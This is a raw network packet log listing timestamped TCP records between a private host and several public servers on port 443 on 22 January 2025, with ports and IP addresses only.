Jan 22, 2025 06:33:47.803872108 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.803908110 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.803914070 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.804261923 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.804301977 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.804307938 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.804419994 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.804455996 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.804461956 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.804572105 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.804609060 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.804615021 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.805154085 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.805186987 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.805192947 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.805309057 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.805346012 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.805352926 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.805931091 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.805967093 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.805973053 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.806113958 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.806149960 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.806154966 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.806267977 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.806302071 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.806309938 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.806520939 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.806555033 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.810678959 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.810728073 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.810874939 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.810988903 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.811033010 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.811054945 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.811186075 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.811242104 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.811254978 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.811577082 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.811630964 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.811645031 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.811822891 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.811863899 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.815527916 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.836576939 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.836652994 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.836855888 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.852715969 CET	49750	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.852742910 CET	443	49750	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.864643097 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.864691019 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.866419077 CET	49749	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:47.866487026 CET	443	49749	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:47.875130892 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.875159979 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:47.875513077 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.875648975 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:47.875683069 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.320415020 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.320775986 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.320813894 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.321270943 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.321710110 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.321789026 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.321994066 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.346299887 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.346640110 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.346664906 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.347757101 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.348082066 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.348200083 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.348426104 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.363333941 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.395327091 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.439819098 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.439866066 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.439903021 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.439932108 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.439934015 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.439975023 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.439996004 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.440033913 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.440078020 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.440093040 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.440114021 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.440148115 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.440193892 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.440202951 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.440268993 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.444555044 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.444623947 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.444710970 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.444720030 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.480545044 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.480722904 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.480793953 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.481722116 CET	49752	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.481739998 CET	443	49752	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.487760067 CET	49753	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:48.487801075 CET	443	49753	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:48.488111019 CET	49753	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:48.488372087 CET	49753	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:48.488399029 CET	443	49753	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:48.489375114 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.526523113 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.526716948 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.526767015 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.526789904 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.526901960 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.526993036 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.527039051 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.527049065 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.527091026 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.527096987 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.527117968 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.527172089 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.527180910 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.527599096 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.527663946 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.527676105 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.527755022 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.527791023 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.527797937 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.527808905 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.527841091 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.527848959 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.528465986 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.528496027 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.528537035 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.528546095 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.528645039 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.528685093 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.528690100 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.528702974 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.528727055 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.529418945 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.529469967 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.529489994 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.529500008 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.529648066 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.613290071 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.613370895 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.613409042 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.613415003 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.613441944 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.613605022 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.613651037 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.613662004 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.613693953 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.613997936 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.614051104 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.614059925 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.614094019 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.614573956 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.614622116 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.614645958 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.614691973 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.615546942 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.615608931 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.615609884 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.615622044 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.615654945 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.615667105 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.615678072 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.615689039 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.615710974 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.616468906 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.616511106 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.616523981 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.616534948 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.616565943 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.617301941 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.617345095 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.617352962 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.617393970 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.617450953 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.617496014 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.617553949 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.617594004 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.618292093 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.618340969 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.618366957 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.618408918 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.618416071 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.618458033 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.618503094 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.618658066 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.618678093 CET	443	49751	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.618688107 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.618779898 CET	49751	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.781986952 CET	49744	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:33:48.791523933 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:48.791551113 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:48.791870117 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:48.792454004 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:48.792468071 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:48.827331066 CET	443	49744	173.46.80.217	192.168.2.4
Jan 22, 2025 06:33:48.858776093 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.858819008 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.858907938 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.859477043 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:48.859493971 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:48.946994066 CET	443	49753	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:48.947320938 CET	49753	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:48.947344065 CET	443	49753	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:48.947797060 CET	443	49753	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:48.948282003 CET	49753	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:48.948363066 CET	443	49753	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:48.948443890 CET	49753	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:48.991337061 CET	443	49753	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.036840916 CET	443	49744	173.46.80.217	192.168.2.4
Jan 22, 2025 06:33:49.083643913 CET	443	49753	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.083720922 CET	443	49753	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.084197044 CET	49753	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.084706068 CET	49753	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.084733009 CET	443	49753	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.085143089 CET	49744	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:33:49.101109982 CET	443	49744	173.46.80.217	192.168.2.4
Jan 22, 2025 06:33:49.147279024 CET	49744	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:33:49.147298098 CET	443	49744	173.46.80.217	192.168.2.4
Jan 22, 2025 06:33:49.148191929 CET	49744	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:33:49.148299932 CET	443	49744	173.46.80.217	192.168.2.4
Jan 22, 2025 06:33:49.148355007 CET	49744	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:33:49.161214113 CET	49756	443	192.168.2.4	2.16.164.19
Jan 22, 2025 06:33:49.161312103 CET	443	49756	2.16.164.19	192.168.2.4
Jan 22, 2025 06:33:49.161385059 CET	49756	443	192.168.2.4	2.16.164.19
Jan 22, 2025 06:33:49.161881924 CET	49756	443	192.168.2.4	2.16.164.19
Jan 22, 2025 06:33:49.161969900 CET	443	49756	2.16.164.19	192.168.2.4
Jan 22, 2025 06:33:49.269128084 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.269582987 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.269650936 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.270133018 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.270620108 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.270715952 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.270811081 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.311335087 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.320394993 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.335263968 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.337171078 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.337204933 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.337671041 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.338493109 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.338583946 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.338743925 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.338815928 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.338843107 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.413491011 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.413625002 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.413686991 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.413722992 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.413809061 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.413862944 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.413871050 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.413968086 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.414015055 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.414021969 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.414103031 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.414181948 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.414208889 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.414216995 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.414377928 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.417996883 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.418143034 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.418255091 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.418262005 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.468056917 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.485101938 CET	49672	443	192.168.2.4	173.222.162.32
Jan 22, 2025 06:33:49.485142946 CET	443	49672	173.222.162.32	192.168.2.4
Jan 22, 2025 06:33:49.493542910 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.493686914 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.493776083 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.493784904 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.493814945 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.493876934 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.493906975 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.494076967 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.494131088 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.494146109 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.494251966 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.494302988 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.494311094 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.497983932 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.498043060 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.498049974 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.503590107 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.503756046 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.503851891 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.503870964 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.503881931 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.503952026 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.503957987 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.504081011 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.504136086 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.504142046 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.504722118 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.504775047 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.504781961 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.504878044 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.504920959 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.504926920 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.505028963 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.505085945 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.505093098 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.505625963 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.505680084 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.505686045 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.505783081 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.505827904 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.505835056 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.505935907 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.505987883 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.505995035 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.506486893 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.506539106 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.506545067 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.545658112 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.545692921 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.550806046 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.550868988 CET	49754	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:49.550887108 CET	443	49754	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:49.584096909 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.584147930 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.584238052 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.584252119 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.584300041 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.584342003 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.584371090 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.584371090 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.584445000 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.584495068 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.585030079 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.585095882 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.585113049 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.585210085 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.585293055 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.585305929 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.585397005 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.585448980 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:49.585462093 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:49.585606098 CET	443	49755	104.18.95.41	192.168.2.4
